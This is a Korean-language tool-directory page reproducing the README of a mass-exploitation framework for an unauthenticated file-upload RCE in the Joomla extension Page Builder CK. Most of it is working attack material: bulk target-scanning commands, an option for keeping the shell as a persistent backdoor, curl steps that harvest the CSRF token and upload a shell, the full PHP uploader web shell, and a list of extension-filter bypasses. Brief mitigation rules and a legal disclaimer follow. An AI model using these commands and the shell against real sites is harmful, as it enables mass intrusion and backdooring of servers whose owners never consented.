Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
pbck-exploit — 📤 CVE-2026-56290를 위한 대량 익스플로잇 프레임워크 — Page Builder CK Joomla의 인증되지 않은 파일 업로드로 인한 RCE | Kitploit
도구/GitHubGitHub/shinthink/pbck-exploit
ReconnaissanceVulnerability ScannersExploit FrameworksWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubshinthink/pbck-exploit

pbck-exploit

📤 CVE-2026-56290를 위한 대량 익스플로잇 프레임워크 — Page Builder CK Joomla의 인증되지 않은 파일 업로드로 인한 RCE

저장소 보기
31개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PBCK-Exploit — CVE-2026-56290 Joomla Page Builder CK 익스플로잇

Python CVE License

Discovery CSRF RCE Cleanup Live

Joomla Page Builder CK를 위한 대량 익스플로잇 및 검증 프레임워크

인증되지 않은 임의 파일 업로드 → 원격 코드 실행



📑 목차

  • 취약점 개요
  • 영향받는 버전
  • 기능
  • 설치
  • 사용법
  • 개념 증명
  • 기술 심층 분석
  • 탐지 방법론
  • 방어 및 완화
  • 면책 조항
  • 참고 자료

🔴 취약점 개요

CVE-2026-56290는 Page Builder CK (com_pagebuilderck)에서 발견된 치명적인 심각도의 취약점입니다. 이 취약점은 인기 있는 Joomla 페이지 빌더 확장 프로그램으로, browse.ajaxAddPicture 컨트롤러 메서드가 사용자 제어 가능한 대상 경로로 인증되지 않은 파일 업로드를 허용하여 공격자가 웹 접근 가능 디렉터리에 임의의 PHP 파일을 작성할 수 있게 합니다.

근본 원인

root@kitploit:~
// browse.php 컨트롤러 — 인증 확인 없음
function ajaxAddPicture() {
    $input = JFactory::getApplication()->input;
    $file  = $input->files->get('file', null);   // ← 사용자 제어 파일
    $path  = trim($input->get('path', ''));       // ← 사용자 제어 경로, trim()만 적용!
    // ... 파일을 $path로 업로드하며 대상 경로를 검증하지 않음
}

path 매개변수는 trim() 정리만 수행됩니다 — 화이트리스트 없음, 디렉터리 트래버설 검사 없음, 인증 게이트 없음. 모든 Joomla 페이지에서 공개적으로 접근 가능한 CSRF 토큰과 결합하여 공격자는 모든 쓰기 가능한 디렉터리에 PHP 셸을 원격으로 업로드할 수 있습니다.

영향

벡터심각도영향
인증되지 않은 파일 업로드9.8 (치명적)임의 PHP 코드 실행
CSRF 토큰 수집

공격 체인

root@kitploit:~
1. HIT Joomla homepage     →  harvest CSRF token (hex32 + value "1")
2. POST file upload         →  task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in       →  media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL            →  code executes, RCE confirmed
5. POST f=@file to shell    →  upload additional tools
6. GET ?cleanup=1           →  shell self-destructs

🟠 영향받는 버전

참고: 버전은 /administrator/manifests/files/com_pagebuilderck.xml의 Joomla manifest 파일에서 감지됩니다. manifest에 접근할 수 없는 경우 스캐너는 기본적으로 대상을 잠재적으로 취약한 것으로 간주합니다.


✨ 기능


📦 설치

root@kitploit:~
# 리포지토리 클론
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit

# 의존성 설치
pip install -r requirements.txt

# 확인
python cve_2026_56290.py --help

요구 사항

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

📖 사용법

명령줄 인수

root@kitploit:~
CVE-2026-56290 — PageBuilderCK 인증되지 않은 RCE | 대량 익스플로잇 및 검증기

  -t, --target        단일 대상 URL
  -f, --file          대상 URL이 포함된 파일 (한 줄에 하나, #은 주석)
  -o, --output        실시간 TXT 출력 파일 (기본값: cve-2026-56290_live.txt)
  --json              JSON 보고서 파일 경로 (기본값: cve-2026-56290_report.json)
  --threads           동시 작업자 수 (기본값: 20)
  --timeout           요청 제한 시간(초) (기본값: 15)
  --no-cleanup        대상에 셸 유지 (지속적 백도어)
  -v, --verbose       상세 엔드포인트 발견 출력
  --known-endpoint    발견 건너뛰기: 작업,파일매개변수,폴더매개변수

기본 사용법

root@kitploit:~
# 단일 대상
python cve_2026_56290.py -t https://target.com

# 파일에서 대량 스캔
python cve_2026_56290.py -f targets.txt

# 사용자 정의 출력 + 상세
python cve_2026_56290.py -f targets.txt -o results.txt -v

# 셸 유지 (지속적 백도어)
python cve_2026_56290.py -t https://target.com --no-cleanup

# 알려진 엔드포인트로 발견 건너뛰기
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"

대상 파일 형식

root@kitploit:~
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# 주석 및 빈 줄은 무시됩니다

🧪 개념 증명

시나리오 1: 실시간 출력을 통한 대량 스캔

root@kitploit:~
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
root@kitploit:~
────────────────────────────────────────────────────────────
  CVE-2026-56290 | 5개 대상 | 20개 스레드 | 정리=예
  실시간 TXT: live_results.txt
  2026-07-04 15:30:00
────────────────────────────────────────────────────────────

  ✅ https://target-vuln.com  [RCE 확인됨]  12.4s
     PBCK: 3.4.7 [취약]
     RCE  : ext=php | path=media/com_pagebuilderck/gfonts/
     셸: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
     사용법: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

  🛡️ https://target-patched.com  [패치됨]  3.2s

  ✅ https://target-vuln2.com  [RCE 확인됨]  15.1s
     PBCK: 3.1.0 [취약]
     RCE  : ext=pHP | path=media/com_pagebuilderck/fonts/
     셸: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
     사용법: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

==================================================
  스캔 요약
==================================================
  전체           : 5
  ✅ RCE 확인됨    : 2
  ⚠️  RCE 실패     : 1
  🛡️  패치됨       : 1
  🔍 차이 필요     : 0
  ❌ Joomla 아님   : 0
  ⏭️  구성 요소 없음 : 1
  💥 오류          : 0
==================================================

시나리오 2: 수동 재현 (curl + Python)

1단계 — CSRF 토큰 수집

root@kitploit:~
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"

2단계 — PHP 셸 업로드

root@kitploit:~
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"

curl -sk \
  -F "[email protected];type=application/x-php" \
  -F "path=media/com_pagebuilderck/gfonts/" \
  "https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"

3단계 — RCE 확인

root@kitploit:~
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → PHP 셸 출력, 코드 실행 확인

시나리오 3: PHP 셸 페이로드

스캐너는 exec(), system(), eval()이 필요 없는 자체 포함 업로더 셸을 배포합니다:

root@kitploit:~
<html><body>
<form method=post enctype=multipart/form-data>
  <input type=file name=f>
  <input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
  move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
  echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
  @unlink(__FILE__);
  die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>

셸 기능:

  • 📤 POST f=@file을 통해 추가 파일 업로드
  • 🧹 ?cleanup=1을 통해 자체 파괴
  • 🔑 토큰 기반 검증 (스캐너가 출력에서 고유 토큰을 확인)

🔬 기술 심층 분석

아키텍처

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│                     PBCK-EXPLOIT                        │
├──────────────────┬──────────────────────────────────────┤
│   RECON PHASE   │           EXPLOIT PHASE               │
│                  │                                      │
│  ┌────────────┐  │  ┌──────────────┐  ┌──────────────┐  │
│  │ Joomla     │  │  │ Endpoint     │  │ Extension    │  │
│  │ Detection  │  │  │ Brute-force  │  │ Bypass Grid  │  │
│  │ (2-phase)  │  │  │ (1000+ combo)│  │ (40+ exts)   │  │
│  └─────┬──────┘  │  └──────┬───────┘  └──────┬───────┘  │
│        │         │         │                  │          │
│  ┌─────▼──────┐  │  ┌──────▼───────┐  ┌──────▼───────┐  │
│  │ PBCK       │  │  │ CSRF Token   │  │ PHP Shell    │  │
│  │ Detection  │  │  │ Harvester    │  │ Deployment   │  │
│  │ (probes)   │  │  │ (5 pages)    │  │ (20+ paths)  │  │
│  └─────┬──────┘  │  └──────┬───────┘  └──────┬───────┘  │
│        │         │         │                  │          │
│  ┌─────▼──────┐  │         │           ┌──────▼───────┐  │
│  │ Version    │  │         │           │ Validation   │  │
│  │ Check      │  │         │           │ + Cleanup    │  │
│  └────────────┘  │         │           └──────────────┘  │
└──────────────────┴──────────────────────────────────────┘

엔드포인트 발견 전략

스캐너는 대상당 시간 예산(15초)을 사용하는 계층형 무차별 대입 방식을 사용합니다:

각 조합: .txt 프로브 업로드 → GET으로 확인 → 성공 시 일치. 확인되면 즉시 반환합니다.

확장자 우회 철학

CKFile::makeSafe()는 일부 구성에서 .php를 차단합니다. 우회 전략:

root@kitploit:~
계층 1: 빠름
  php, PHP, pht, phar
         ↓ (차단 시)
계층 2: 대소문자 변형
  Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
         ↓ (차단 시)
계층 3: 대체 핸들러
  php3, php4, php5, php6, php7, php8, phtml, shtml, inc
         ↓ (차단 시)
계층 4: 이중 확장자
  php.jpg, jpg.php, php.png, php.gif, php.txt
         ↓ (차단 시)
계층 5: Windows 트릭
  php., PHP., php. , php.SWF

CSRF 토큰 수집

Joomla의 CSRF 토큰은 모든 페이지에 포함됩니다 — 홈, 로그인, 등록, 연락처 양식, 관리자:

root@kitploit:~
CSRF_PAGES = [
    "",                                                            # 홈페이지
    "/index.php?option=com_users&view=login",                       # 로그인
    "/index.php?option=com_users&view=registration",                # 등록
    "/index.php?option=com_contact&view=contact&id=1",              # 연락처
    "/administrator/index.php",                                     # 관리자 로그인
]

패턴 A — HTML 숨겨진 입력: <input type="hidden" name="<hex32>" value="1">

패턴 B — JSON 구성: "csrf.token":"<hex32>"


🔍 탐지 방법론

Joomla 탐지 (2단계)

1단계 — HTML 지문 (빠르고 확실)

  • "Joomla!"를 포함하는 Generator 메타 태그
  • 구조적 요소: <jdoc:include>, joomla-script-options, "csrf.token"
  • 경로 패턴: /components/com_, /modules/mod_, /plugins/system/
  • 세션 쿠키 분석

2단계 — 관리자 패널 프로브 (대체)

  • /administrator/ 페이지 가져오기
  • Joomla 특정 관리자 마커 확인: name="username", mod-login-, administrator/templates/

PBCK 탐지 (3계층)

계층 1 — HTML 강력 지표

root@kitploit:~
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck

계층 2 — HTML 약한 지표 및 확인

root@kitploit:~
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)

계층 3 — 직접 파일 프로브 (PBCK가 홈페이지에 없는 설치 감지)

root@kitploit:~
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml

🛡️ 방어 및 완화

1. 즉시 업그레이드

root@kitploit:~
# Page Builder CK를 최신 패치 버전으로 업데이트
# 확인: https://extensions.joomla.org/extension/page-builder-ck/

2. 업로드 엔드포인트 차단

root@kitploit:~
# Nginx — 업로드 컨트롤러에 대한 인증되지 않은 접근 차단
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
    deny all;
}
root@kitploit:~
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]

3. 쓰기 가능한 디렉터리에서 PHP 실행 강화

root@kitploit:~
# media/의 .htaccess — PHP 실행 비활성화
<FilesMatch "\.php$">
    Require all denied
</FilesMatch>

4. 인프라 감사

root@kitploit:~
# 자체 인프라 스캔
python cve_2026_56290.py -f my_joomla_sites.txt -o audit_results.txt

⚠️ 면책 조항

🚨 교육 및 승인된 테스트 목적으로만 사용

이 소프트웨어는 교육 목적 및 합법적인 보안 연구를 위해 독점적으로 제공됩니다. 다음 사용자를 대상으로 합니다:

  • 🛡️ 보안 전문가가 승인된 침투 테스트 수행
  • 🏢 조직이 자체 Joomla 인프라 감사
  • 🔬 연구원이 취약점 익스플로잇 기술 연구
  • 🎓 학생이 웹 애플리케이션 보안 학습

❌ 다음을 위해 이 소프트웨어를 사용할 수 없습니다:

  • 명시적인 서면 승인 없이 컴퓨터 시스템에 접근
  • 귀하가 소유하지 않은 시스템을 손상, 파괴 또는 방해
  • 모든 종류의 불법 활동에 참여

⚖️ 법적 고지

컴퓨터 시스템에 대한 무단 접근은 다음을 포함하되 이에 국한되지 않는 법률을 위반합니다:

  • 미국: 컴퓨터 사기 및 남용 법안 (18 U.S.C. § 1030)
  • 인도네시아: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
  • 유럽 연합: 지침 2013/40/EU
  • 영국: 컴퓨터 남용 법안 1990

저작자는 이 도구의 사용으로 인한 모든 오용, 손해 또는 법적 결과에 대해 어떠한 책임도 지지 않습니다. 이 소프트웨어를 사용함으로써 귀하는 자신의 행동에 대해 전적인 책임이 있음을 인정하고 모든 관련 법률을 준수하는 데 동의합니다.


📚 참고 자료


⚡ 보안 연구 커뮤니티를 위해 정밀하게 제작됨 ⚡

Joomla®는 Open Source Matters, Inc.의 등록 상표입니다.
이 프로젝트는 Joomla, Open Source Matters, Page Builder CK와 제휴하거나 보증되지 않습니다.

도구 다운로드
5.3 (중간)
업로드 체인 활성화
정보 노출5.3 (중간)확장 프로그램 버전 지문 확인
Page Builder CK 버전상태참고
3.1.1 이하🔴 취약인증되지 않은 업로드 확인됨
3.4.10 이하🔴 취약분석에 따른 확장 범위
3.5.10 이하🔴 취약일부 패치된 변형이 있을 수 있음
> 3.5.10🟢 패치 가능성 있음manifest XML로 확인

🔍 정찰

  • Joomla 감지 — 2단계: HTML 지문 + 관리자 패널 프로브
  • PBCK 감지 — 직접 경로 프로브 + HTML 패턴 매칭
  • 버전 추출 — Manifest XML 파싱 + HTML 정규식 대체
  • CSRF 토큰 수집 — 다중 페이지 토큰 추출 (홈, 로그인, 등록, 관리자)
  • 엔드포인트 무차별 대입 — 시간 예산이 적용된 1000개 이상의 작업/매개변수/경로 조합 발견

💀 익스플로잇

  • 40개 이상의 확장자 우회 — 대소문자 변형, 번호 변형, 이중 확장자, Windows 트릭
  • 20개 이상의 대상 경로 — 확장자 디렉터리, Joomla 쓰기 가능 디렉터리, 트래버설 경로
  • 셸 검증 — PHP 실행을 확인하는 토큰 기반 확인
  • 자동 정리 — 셸이 검증 후 자체 파괴 (?cleanup=1)
  • 실시간 TXT 출력 — 실시간 스레드 안전 결과를 파일에 기록
  • JSON 보고서 — 대상별 전체 세부 정보를 포함한 구조화된 보고서
계층작업파일 매개변수폴더 매개변수대상 경로총 조합
계층 1 (확인됨)browse.ajaxAddPicture + 3개file, Filedatapath, folder, dir상위 4개 PBCK 디렉터리96
계층 2 (전체 그리드)12개 작업4개 매개변수5개 매개변수20개 이상의 경로4,800+
리소스링크
NVD 항목CVE-2026-56290
Joomla 보안developer.joomla.org/security
Page Builder CKextensions.joomla.org
OWASP 파일 업로드제한 없는 파일 업로드